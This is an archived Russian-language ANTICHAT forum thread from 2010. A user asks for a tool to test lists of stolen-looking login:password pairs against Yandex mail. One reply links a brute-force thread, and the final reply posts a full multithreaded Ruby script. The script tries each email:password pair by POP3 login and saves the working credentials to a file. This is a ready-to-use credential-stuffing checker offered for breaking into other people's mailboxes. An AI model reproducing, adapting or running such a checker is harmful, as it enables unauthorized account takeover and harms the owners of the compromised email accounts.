ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Программка для яндекс почты.
  #1  
Старый 07.02.2010, 18:05
Hixon10
Banned
Регистрация: 06.02.2010
Сообщений: 17
Провел на форуме:
64763

Репутация: 0
Отправить сообщение для Hixon10 с помощью ICQ
По умолчанию Программка для яндекс почты.

Мне нужна программка, которая будет проверять правильны ли логин пароль, т.е. я пишу лист лог пасс, а она после проверка выдаёт те, которые подошли. Я не знаю есть ли она вообще, и как называется, но если есть, то дайте пож-та, или хотябы название этого софта.
 
Ответить с цитированием

  #2  
Старый 07.02.2010, 18:09
ho4yxa
Познающий
Регистрация: 04.02.2010
Сообщений: 84
Провел на форуме:
520608

Репутация: 2
Отправить сообщение для ho4yxa с помощью ICQ
По умолчанию

Цитата:
Сообщение от Hixon10  
Мне нужна программка, которая будет проверять правильны ли логин пароль, т.е. я пишу лист лог пасс, а она после проверка выдаёт те, которые подошли. Я не знаю есть ли она вообще, и как называется, но если есть, то дайте пож-та, или хотябы название этого софта.
Чекер тебе нужен не видел в пабе я-чекеров ...
 
Ответить с цитированием

  #3  
Старый 07.02.2010, 18:17
emillord
Участник форума
Регистрация: 20.01.2008
Сообщений: 284
Провел на форуме:
3767223

Репутация: 408
Отправить сообщение для emillord с помощью ICQ
По умолчанию

http://forum.antichat.ru/thread109600-web+brute.html
попробуй может настроишь)
 
Ответить с цитированием

  #4  
Старый 07.02.2010, 18:31
lukmus
Постоянный
Регистрация: 18.11.2009
Сообщений: 709
Провел на форуме:
1410429

Репутация: 214


По умолчанию

Писал на ruby под /\/\аil.ru, но под яндеx тоже должно работать если там pop3 включен.
<infile> - фаил с мыло:пароль
<threads count> - кол-во потоков
<divider> - разделитель между мылом и паролем, по умолчанию пробел
<outfile> - выходной фаил, по умолчанию <infile>_suc
Код:
#!/usr/bin/ruby
require "net/pop"
require 'mathn'

if ARGV.size<2 or ARGV.size>4
  puts "<infile> <threads count> [<divider> <outfile>]"
  puts "Default divider is space ' '"
  puts "Default outfile is str(infile)+'_suc'"
  exit 
end

$infile=ARGV[0]
$th_count=ARGV[1].to_i
case ARGV.size
when 3:
  $divider=ARGV[2]
when 4:
  $divider=ARGV[2]
  $outfile=ARGV[3]
else
  $divider=' '
  $outfile=$infile+'_suc'
end
starttime=Time.now.to_i
puts "#{Time.now} START #{$infile}/#{$th_count}/#{$divider}/#{$outfile}"


def sec2dhms(secs)
  time=secs.round.to_i
  days=(time/86400).to_i
  time-=days*86400
  hrs=(time/3600).to_i
  time-=hrs*3600
  mins=(time/60).to_i
  time-=mins*60
    
  return "#{days}D #{hrs}H #{mins}M #{time}S"
end

def try_auth(mail,pop_serv,pass)
  
        begin
          Net::POP3.auth_only(pop_serv, 110,mail, pass)
        rescue => e
          return 0
        end
  return 1 

end

def auth(mail,pass)
  pop_serv="pop."+mail.split("@")[1]
  return try_auth(mail,pop_serv,pass)
end

$inf=File.open($infile,"r")
$good_count=0
$all_count=0
while !$inf.eof do
  while Thread.list.size>$th_count do sleep(1) end
  th=Thread.new do
        str=$inf.gets
        mail,pass=str.split($divider)
        #STDOUT.flush
        res="#{Time.now.strftime("%H:%M:%S")} #{mail}/#{pass.chop!}"
        #STDOUT.flush
        if auth(mail,pass)==1 
              res+=" SUCCESS"
              suc=File.open($outfile,'a')
                  suc.puts "#{mail}:#{pass}"
                  $good_count+=1
              suc.close
        else
              res+=" ============FAIL=========="
        end
        $all_count+=1
        puts res
  end
    
end
$inf.close
while Thread.list.size>1 do sleep(1) end
puts "#{Time.now} SUCCESSED #{$good_count}/#{$all_count} <-> #{$good_count.to_f/$all_count*100} % valid <-> #{sec2dhms(Time.now.to_i-starttime)}"
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
МикроДжоинер для начинающих ReanimatoR Статьи 23 02.01.2010 15:07
Телефонные шалости: хакерский подход к IP-телефонии [Dead]Demon Статьи 0 22.11.2009 16:03
Начальный практикум в Code Igniter Kuzya Авторские статьи 9 20.02.2009 23:12
Сбор литературы для начинающего и опытного ассемблерщика -m0rgan- PHP, PERL, MySQL, JavaScript 2 02.12.2008 23:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ